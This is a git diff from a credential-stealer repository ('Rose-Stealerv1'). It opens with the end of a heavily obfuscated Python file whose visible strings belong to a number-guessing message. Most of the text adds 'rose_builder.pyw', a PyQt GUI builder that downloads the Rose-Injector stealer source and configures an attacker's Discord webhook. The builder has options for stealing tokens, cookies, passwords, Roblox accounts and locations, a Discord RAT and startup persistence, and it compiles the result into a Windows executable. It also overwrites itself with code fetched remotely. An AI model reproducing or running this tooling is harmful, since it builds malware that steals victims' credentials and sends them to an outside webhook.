13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8'))))))))))))))))))))))))).format(__1832658953__, __1068350856__)) +else: + __builtins__.__dict__[__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'cHJpbnQ=').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))](__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'Tm9wZS4gVGhlIG51bWJlciBJIHdhcyB0aGlua2luZyBvZiB3YXMgezB9').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8'))))))))))))))))))))))))).format(__3620605820__)) \ No newline at end of file diff --git a/Rose-Stealerv1/resources/utils/old_build/rose_builder.pyw b/Rose-Stealerv1/resources/utils/old_build/rose_builder.pyw new file mode 100644 index 0000000..c3708c5 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/old_build/rose_builder.pyw @@ -0,0 +1,511 @@ +# Main GUI for Rose-Injector made by @suegdu and @xpierroz +# Follow the comments on each, for guiding. + +__version__ = 1.0 +__repo__ = "https://github.com/DamagingRose/Rose-Injector/" +__icon__ = "https://raw.githubusercontent.com/DamagingRose/Rose-Injector/main/components/readme/$rose-wh.png" + +import requests +import os +import webbrowser +import shutil +import ctypes +from bs4 import BeautifulSoup +from pathlib import Path +from dhooks import Webhook, Embed +from PyQt5 import QtCore, QtGui, QtWidgets +from PyQt5.QtCore import QRunnable, QThreadPool, QObject, pyqtSignal as Signal + + +def auto_update(): + _code = ( + "https://raw.githubusercontent.com/DamagingRose/Rose-Injector/main/components/tools/rose_builder.pyw" + ) + + code = requests.get(_code, timeout=10).text + with open(__file__, "r", encoding="utf-8") as f: + main_code = f.read() + if code != main_code: + f = ctypes.windll.user32.MessageBoxW( + 0, + "A new version has been detected.\nWould you like to automatically update?", + "Rose Injector", + 4 + ) + if f == 6: + with open(__file__, "w", encoding="utf-8") as f: + f.write(code) + os.startfile(__file__) + os._exit(0) + + +class Signals(QObject): + create_dirc = Signal() + make_reqc = Signal() + edit_configc = Signal() + compilec = Signal() + move_dirc = Signal() + build_done = Signal() + + +class Runnable(QRunnable): + def __init__(self, n, webhook_url): + super().__init__() + self.n = n + self.webhook_url = webhook_url + def run(self): + hook = Webhook(self.webhook_url) + embed = Embed( + description='Webhook is Working', + color=11795068, + timestamp="now" + ) + embed.set_author(name="Success", icon_url=__icon__) + embed.set_footer(text="Rose Builder | By pierro, suegdu, Gumbobrot, svn", icon_url=__icon__) + hook.send(embed=embed) + + +class Runnable_wf(QRunnable): + def __init__( + self, n, + dir_name, + webhook_url, + rat_checked, + rat_link, + is_startup, + is_injection, + is_tokensteal, + is_cookiesteal, + is_passwordsteal, + is_malicioussteal, + is_locationssteal, + is_robloxsteal + ): + super().__init__() + self.signals = Signals() + self.n = n + self.dir_name = dir_name + self.webhook_url = webhook_url + self.rat_checked = rat_checked + self.rat_link = rat_link + self.is_startup = is_startup + self.is_injection = is_injection + self.is_tokensteal = is_tokensteal + self.is_cookiesteal = is_cookiesteal + self.is_passwordsteal = is_passwordsteal + self.is_malicioussteal = is_malicioussteal + self.is_locationssteal = is_locationssteal + self.is_robloxsteal = is_robloxsteal + + def create_dir(self): + self.path = f"{Path(__file__).resolve().parent}\\{self.dir_name}" + os.mkdir(self.path) + + def make_req(self): + page = requests.get('https://github.com/DamagingRose/Rose-Injector/tree/main/source').text + soup = BeautifulSoup(page, 'html.parser') + allFiles = [link.text for link in soup.find_all('a') if link['href'] == f"/DamagingRose/Rose-Injector/blob/main/source/{link.text}" ] + for file in allFiles: + text = requests.get(f"https://raw.githubusercontent.com/DamagingRose/Rose-Injector/main/source/{file}").text + with open(f"{self.path}\\{file}","w",encoding="utf-8") as f: + f.write(str(text)) + + def edit_config(self): + with open(f"{self.path}\\config.py","r",encoding="utf-8") as f: + text = f.read() + new = text.replace("VMHOOK", f"{self.webhook_url}").replace("WEBHOOK_URL", f"{self.webhook_url}").replace("discord_rat = False", f"discord_rat = {str(self.rat_checked)}").replace("DISCORD_RAT_SOCKET_LINK", f"{self.rat_link}").replace("startup = False", f"startup = {self.is_startup}").replace("self.injection = False", f"self.injection = {self.is_injection}").replace("self.token_stealing = False", f"self.token_stealing = {self.is_tokensteal}").replace("cookie_stealing = False", f"cookie_stealing = {self.is_cookiesteal}").replace("password_stealing = False", f"password_stealing = {self.is_passwordsteal}").replace("malicious_stealing = False", f"malicious_stealing = {self.is_malicioussteal}").replace("location_stealing = False", f"location_stealing = {self.is_locationssteal}").replace("roblox_stealing = False", f"roblox_stealing = {self.is_robloxsteal}") + print(new) + with open(f"{self.path}\\config.py", "w", encoding="utf-8") as f: + f.write(new) + + dir_list = os.listdir(self.path) + + for file in dir_list: + with open(f"{self.path}\\{file}", "r", encoding="utf-8") as f: + text = f.read() + new = text.replace("from configuration", f"from config") + + with open(f"{self.path}\\{file}", "w", encoding="utf-8") as f: + f.write(new) + + def compile(self): + os.system(f'python -m PyInstaller "{self.path}/main.py" --noconsole --onefile') + + def move_dir(self): + shutil.move(f"dist\\main.exe", f"{self.dir_name}.exe") + shutil.rmtree('build') + shutil.rmtree('dist') + os.remove(f"main.spec") + + def run(self): + try: + self.signals.create_dirc.emit() + self.create_dir() + self.signals.make_reqc.emit() + self.make_req() + self.signals.edit_configc.emit() + self.edit_config() + self.signals.compilec.emit() + self.compile() + self.signals.move_dirc.emit() + self.move_dir() + self.signals.build_done.emit() + except Exception as e: + print(e) + + +class Ui_MainWindow_vailB(object): + # This is the final shape of builder's gui and it is not linked to any functions with builder's functionality. -suegdu 3/11/2023 + + def setupUi(self, MainWindow_vailB): + MainWindow_vailB.setObjectName("MainWindow_vailB") + MainWindow_vailB.resize(741, 420) + icon = QtGui.QIcon() + icon.addPixmap(QtGui.QPixmap("./tools/rose.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) # Will check for the icon within the current running directory. If not then it will be the default Windows executable icon. -suegdu + MainWindow_vailB.setWindowIcon(icon) + MainWindow_vailB.setStatusTip("") + self.centralwidget = QtWidgets.QWidget(MainWindow_vailB) + self.centralwidget.setObjectName("centralwidget") + self.tabWidget = QtWidgets.QTabWidget(self.centralwidget) + self.tabWidget.setGeometry(QtCore.QRect(10, 10, 721, 391)) + self.tabWidget.setObjectName("tabWidget") + self.tab_builder = QtWidgets.QWidget() + self.tab_builder.setObjectName("tab_builder") + self.groupBox_6 = QtWidgets.QGroupBox(self.tab_builder) + self.groupBox_6.setGeometry(QtCore.QRect(10, 10, 691, 331)) + self.groupBox_6.setObjectName("groupBox_6") + self.LE_webhook_url = QtWidgets.QLineEdit(self.groupBox_6) + self.LE_webhook_url.setGeometry(QtCore.QRect(230, 20, 181, 20)) + self.LE_webhook_url.setObjectName("LE_webhook_url") + self.label_2 = QtWidgets.QLabel(self.groupBox_6) + self.label_2.setGeometry(QtCore.QRect(150, 20, 82, 20)) + self.label_2.setObjectName("label_2") + + self.dir_name_input = QtWidgets.QLineEdit(self.groupBox_6) + self.dir_name_input.setGeometry(QtCore.QRect(230, 42, 181, 20)) + self.dir_name_input.setObjectName("dir_name_input") + + self.dir_name = QtWidgets.QLabel(self.groupBox_6) + self.dir_name.setGeometry(QtCore.QRect(150, 40, 100, 20)) + self.dir_name.setObjectName("dir_name") + + self.B_build = QtWidgets.QPushButton(self.groupBox_6) + self.B_build.setGeometry(QtCore.QRect(20, 20, 111, 31)) + self.B_build.setObjectName("B_build") + self.B_testhook = QtWidgets.QPushButton(self.groupBox_6) + self.B_testhook.setGeometry(QtCore.QRect(20, 60, 111, 31)) + self.B_testhook.setObjectName("B_testhook") + self.groupBox_7 = QtWidgets.QGroupBox(self.groupBox_6) + self.groupBox_7.setGeometry(QtCore.QRect(20, 100, 281, 211)) + self.groupBox_7.setObjectName("groupBox_7") + self.console_0 = QtWidgets.QTextBrowser(self.groupBox_7) + self.console_0.setGeometry(QtCore.QRect(20, 20, 241, 171)) + self.console_0.setObjectName("console_0") + self.groupBox_8 = QtWidgets.QGroupBox(self.groupBox_6) + self.groupBox_8.setGeometry(QtCore.QRect(430, 10, 251, 301)) + self.groupBox_8.setObjectName("groupBox_8") + self.CB_startup = QtWidgets.QCheckBox(self.groupBox_8) + self.CB_startup.setGeometry(QtCore.QRect(20, 20, 70, 17)) 